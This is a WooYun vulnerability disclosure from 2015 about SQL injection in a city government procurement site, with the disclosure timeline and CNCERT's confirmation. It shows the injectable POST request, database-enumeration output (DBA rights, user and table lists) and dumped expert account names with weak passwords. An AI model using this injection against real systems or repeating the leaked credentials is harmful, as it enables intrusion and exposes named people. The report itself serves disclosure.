当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141898

漏洞标题：某市政府采购网SQL注入漏洞（DBA权限/涉及23个数据库）

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-09-22 14:30

修复时间：2015-11-08 17:12

公开时间：2015-11-08 17:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-22： 细节已通知厂商并且等待厂商处理中
2015-09-24： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-10-04： 细节向核心白帽子及相关领域专家公开
2015-10-14： 细节向普通白帽子公开
2015-10-24： 细节向实习白帽子公开
2015-11-08： 细节向公众公开

简要描述：

RT

详细说明：

URl:http://**.**.**.**/www/index.do
测试注入：

POST /www/noticelist.do HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, 
application/msword, */*
Referer: http://**.**.**.**//www/noticelist.do
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 80
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: mycookie=sys; JSESSIONID=C193613066ECFCAF2D12A8C8AE2CEE41; mycookie=admin
page.pageNum=1&parameters%5B%27noticetype%27%5D=&parameters%5B%27title%27%5D=aaa

漏洞证明：

权限：

current user is DBA:    True


用户：

database management system users [35]:
[*] ANONYMOUS
[*] APEX_030200
[*] APEX_PUBLIC_USER
[*] APPQOSSYS
[*] CTXSYS
[*] DATA_EXCHANGE
[*] DBSNMP
[*] DIP
[*] EXFSYS
[*] FLOWS_FILES
[*] GPOS_NEW
[*] GPOS_ONLINE
[*] GPOS_TEST
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OLAPSYS
[*] ORACLE_OCM
[*] ORDDATA
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] OWBSYS_AUDIT
[*] SCOTT
[*] SI_INFORMTN_SCHEMA
[*] SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WEBSITE_20141201
[*] WMSYS
[*] XDB
[*] XS$NULL


GPOS_ONLINE：

+------------------------------+
| ACT_GE_BYTEARRAY             |
| ACT_GE_PROPERTY              |
| ACT_HI_ACTINST               |
| ACT_HI_ATTACHMENT            |
| ACT_HI_COMMENT               |
| ACT_HI_DETAIL                |
| ACT_HI_PROCINST              |
| ACT_HI_TASKINST              |
| ACT_HI_VARINST               |
| ACT_ID_GROUP                 |
| ACT_ID_INFO                  |
| ACT_ID_MEMBERSHIP            |
| ACT_ID_USER                  |
| ACT_RE_DEPLOYMENT            |
| ACT_RE_MODEL                 |
| ACT_RE_PROCDEF               |
| ACT_RU_EVENT_SUBSCR          |
| ACT_RU_EXECUTION             |
| ACT_RU_IDENTITYLINK          |
| ACT_RU_JOB                   |
| ACT_RU_TASK                  |
| ACT_RU_VARIABLE              |
| AUTH_ORG                     |
| DW_XC                        |
| MVIEW_SELLTOP_N              |
| MVIEW_SELLTOP_N_CURRENTMONTH |
| ORG_XIACHENG                 |
| SYS_EXPORT_SCHEMA_01         |
| SYS_EXPORT_SCHEMA_02         |
| SYS_EXPORT_SCHEMA_03         |
| SYS_EXPORT_SCHEMA_04         |
| T1                           |
| TEMPCODE                     |
| TEMP_GOODSPARAM              |
| TT                           |
| T_ADDRESS                    |
| T_AGENT                      |
| T_AGENTPROPERTY              |
| T_AGREEMENT                  |
| T_AGREEMENTPERIOD            |
| T_AGREEMENTPRICE             |
| T_AGREEMENTTOFORBIDSELL      |
| T_AGREEMENTTOSUPPLIER        |
| T_APPLYGOODSINFO             |
| T_APPLYINFO                  |
| T_AUDITHISTORY               |
| T_AUDITINFO                  |
| T_AVOIDSUPPLIER              |
| T_BID                        |
| T_BIDDINGGOODS               |
| T_BIDDINGINFO                |
| T_BIDNOTIFICATION            |
| T_BIDRESULT                  |
| T_BIDRESULT_BACKUP           |
| T_BRANDRATE                  |
| T_BRANDVENDOR                |
| T_BUYCREDENTIAL              |
| T_BUYPROJECT                 |
| T_BUYPROJECTDISPATCH         |
| T_BUYPROJECTQUESTION         |
| T_BUYPROJECT_BAK             |
| T_CAPTCHA                    |
| T_CHAPTER                    |
| T_CONTRACTDETAIL             |
| T_CONTRACTGPOS               |
| T_CONTRACTSERVICEPROJECT     |
| T_CREDENTIALAPTITUDE         |
| T_CREDENTIALDETAIL           |
| T_DEALROLE                   |
| T_DEF_DELIVERYSTEP           |
| T_DELIVERYPROECSS            |
| T_ERRCONTRACT                |
| T_ESTIMATE                   |
| T_ESTIMATEDETAIL             |
| T_ESTIMATEITEM               |
| T_ESTIMATEITEMOPTION         |
| T_EVALSYSTEMTOCLASS          |
| T_EXCHANGEINFO               |
| T_EXCHANGEOBJECT             |
| T_FILEATTACHMENT             |
| T_FUNCTION                   |
| T_GATHER                     |
| T_GATHERGOODSRATEPRICE       |
| T_GATHERQUOTATION            |
| T_GATHERSUPPLIER             |
| T_GOODS                      |
| T_GOODSBRAND                 |
| T_GOODSCLASS                 |
| T_GOODSCLASSPARAM            |
| T_GOODSCLASSPARAMTYPE        |
| T_GOODSCONTENT               |
| T_GOODSGRANDTOGOODSCLASS     |
| T_GOODSOPTIONAL              |
| T_GOODSOPTPRICE              |
| T_GOODSPARAM                 |
| T_GOODSPRICE                 |
| T_GOODSPRICE_JD              |
| T_GOODSRATE                  |
| T_GOODSTOACCESSORY           |
| T_HOTELROOM                  |
| T_HOTELROOMDAILY             |
| T_HOTELROOMDETAIL            |
| T_INFOMATIONATTACHMENT       |
| T_INFORMATION                |
| T_INFORMATIONCONTENT         |
| T_INST_DELIVERYSTEP          |
| T_JD_REGION                  |
| T_LOGINLOG                   |
| T_MESSAGE                    |
| T_MESSAGESEND                |
| T_MESSAGESMS                 |
| T_MESSAGESMSHISTORY          |
| T_M_BUYCONTRACTITEM          |
| T_M_CONTRACT                 |
| T_M_EXCRACOST                |
| T_M_GOODS                    |
| T_M_GOODSBRAND               |
| T_M_GOODSCLASS               |
| T_M_GOODSCLASSCATALOG        |
| T_M_GOODSCLASSPARAM          |
| T_M_GOODSCLASSPARAMTYPE      |
| T_M_GOODSPARAMTEXT           |
| T_M_GOODSPARAMVAL            |
| T_M_GOODSPRICE               |
| T_M_GOODSPRICECOMPARE        |
| T_M_ORDER                    |
| T_M_ORDERDETAIL              |
| T_M_ORDERSUPPLIER            |
| T_M_PARAMOPTION              |
| T_M_PICTURE                  |
| T_M_REGION                   |
| T_M_SHOPPINGCART             |
| T_M_TICKET                   |
| T_N_ATTACHMENTNOTICE         |
| T_N_BIDBONDSPAYINFO          |
| T_N_BUYERINFO                |
| T_N_BUYPROJECTEXECUTOR       |
| T_N_BUYPROJECTNOTICE         |
| T_N_BUYPROJECTNOTICERESULT   |
| T_N_CORRECTIONNOTICE         |
| T_N_PROJECTEXPERT            |
| T_N_PURDOCPAYINFO            |
| T_N_SERIALIZATIONNOTICE      |
| T_N_SERIALIZATIONNOTICERANGE |
| T_OPERATIONLOG               |
| T_OPTIONLIST                 |
| T_OPTIONTYPE                 |
| T_ORDERGOODS                 |
| T_ORDEROPTIONAL              |
| T_ORDERS                     |
| T_ORDERSACCESSORY            |
| T_ORDERSDETAIL               |
| T_ORGANIZATION               |
| T_PARAMETER                  |
| T_PARAMOPTION                |
| T_PICTURE                    |
| T_POST                       |
| T_POSTRIGHT                  |
| T_PRICE0615TEMP              |
| T_PRICEHISTORY               |
| T_PROJECT                    |
| T_PROJECTACCESSORY           |
| T_PROJECTACCQUOTATION        |
| T_PROJECTCHAT                |
| T_PROJECTCHATRECEIVE         |
| T_PROJECTDETAIL              |
| T_PROJECTDETAILOPTION        |
| T_PROJECTDETAILTYPE          |
| T_PROJECTEXPERT              |
| T_PROJECTGOODS               |
| T_PROJECTOPTIONAL            |
| T_PROJECTQUOTATION           |
| T_PROJECTSUPPLIER            |
| T_PROJECT_TEMP0727           |
| T_PURCATALOG                 |
| T_REGION                     |
| T_REGULATORS                 |
| T_REQUESTFORQUOTATION        |
| T_SERVICEPROJECT             |
| T_SHOPPINGCARTACCESSORY      |
| T_SHOPPINGCARTGOODS          |
| T_SHOPPINGCARTOPT            |
| T_S_BANKINFO                 |
| T_S_BRANCH                   |
| T_S_BUSINESSLICENSE          |
| T_S_EVALSYSCATALOG           |
| T_S_EVALSYSTEM               |
| T_S_FINANCIALATTACHMENT      |
| T_S_FINANCIALCONDITION       |
| T_S_GOODSCLASSRELATION       |
| T_S_INSPECTION               |
| T_S_INTRODUCTION             |
| T_S_INTRODUCTIONIMG          |
| T_S_ORGCERTIFIC              |
| T_S_PERFORMANCE              |
| T_S_PERSONNEL                |
| T_S_QUALIFICATION            |
| T_S_QUALIFICATIONATTACHMENT  |
| T_S_RELATION                 |
| T_S_REPORT                   |
| T_S_SCORERATING              |
| T_S_SCORERATINGTEMP          |
| T_S_SOCIALSECURITYINFO       |
| T_S_SPONSOR                  |
| T_S_SPONSORATTACHMENT        |
| T_S_SUPPLIER                 |
| T_S_SUPPLIERATTACHMENT       |
| T_S_SUPPLIEREVALVALUE        |
| T_S_SUPPLIERHISTORY          |
| T_S_SUPPLIERKPI              |
| T_S_SUPPLIERKPIAPPEAL        |
| T_S_SUPPLIERKPIVALUEDETAIL   |
| T_S_SUPPLIERKPIVALUEMAIN     |
| T_S_SUPPLIERPURCATALOG       |
| T_S_SUPPLIERQUALIFICATION    |
| T_S_SUPPLIERSCORE            |
| T_S_TAXINFORMATION           |
| T_S_VIOLATION                |
| T_TMP_USER                   |
| T_TM_REGION                  |
| T_USER                       |
| T_USERAGENT                  |
| T_USERAGENT_TEMP             |
| T_USERCAINFO                 |
| T_USERORG                    |
| T_USERPOST                   |
| T_USERREGULATORS             |
| T_USERTOGOODSCLASS           |
| T_XJ_AUDITHISTORY            |
| T_XJ_AUTHORIZATIONATTACHMENT |
| T_XJ_AUTHORIZATIONINFO       |
| T_XJ_BIDDISCUSS              |
| T_XJ_BIDEXECUTE              |
| T_XJ_BIDNOTIFICATION         |
| T_XJ_BIDRESULT               |
| T_XJ_BIDRESULTCONFIRM        |
| T_XJ_BUYPROJECT              |
| T_XJ_BUYPROJECTDISPATCH      |
| T_XJ_COMMENTINDEX            |
| T_XJ_COMMENTINDEXPOINT       |
| T_XJ_COMMENTMEMBER           |
| T_XJ_CONTRACTGPOS            |
| T_XJ_CONTRACTGPOSMONEY       |
| T_XJ_EXPERT                  |
| T_XJ_FILEATTACHMENT          |
| T_XJ_QUOTATION               |
| T_XJ_QUOTATIONDETAIL         |
| T_XJ_QUOTATIONDETAILPOINT    |
| T_XJ_REMUNERATION            |
| T_XJ_REQUIREMENT             |
| T_XJ_REQUIREMENTDETAIL       |
| T_XJ_REQUIREMENTDETAILPOINT  |
| XCQ_NEW                      |
+------------------------------+


专家账号（大量弱口令）

+-----------+----------+
| LOGINNAME | PASSWORD |
+-----------+----------+
| 郑何敏       | 123456   |
| 钱安理       | 123456   |
| 徐磊        | 123456   |
| 端木晋       | 123456   |
| 张?        | 123456   |
| 朱华威       | 123456   |
+-----------+----------+

修复方案：

过滤 太多数据 我就不挖掘了

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-09-24 17:11

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给浙江分中心，由其后续协调网站管理单位处置。

最新状态：

暂无